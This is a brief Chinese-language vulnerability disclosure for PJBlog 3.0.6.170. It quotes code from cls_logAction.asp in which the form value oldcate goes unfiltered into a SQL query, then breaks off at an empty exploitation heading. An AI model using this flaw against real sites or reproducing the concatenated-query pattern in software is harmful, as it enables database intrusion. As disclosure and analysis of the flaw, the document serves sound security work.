经发现PJBlog 3.0.6.170 版的cls_logAction.asp文件存在注入漏洞
cls_logAction.asp分析:
在文件class/cls_logAction.asp中：

oldcate=request.form(“oldcate”) //第429行
oldctype=request.form(“oldtype”)

D = conn.execute(“select cate_Part from blog_Category where cate_ID=”&oldcate)(0)

程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。

漏洞利用:
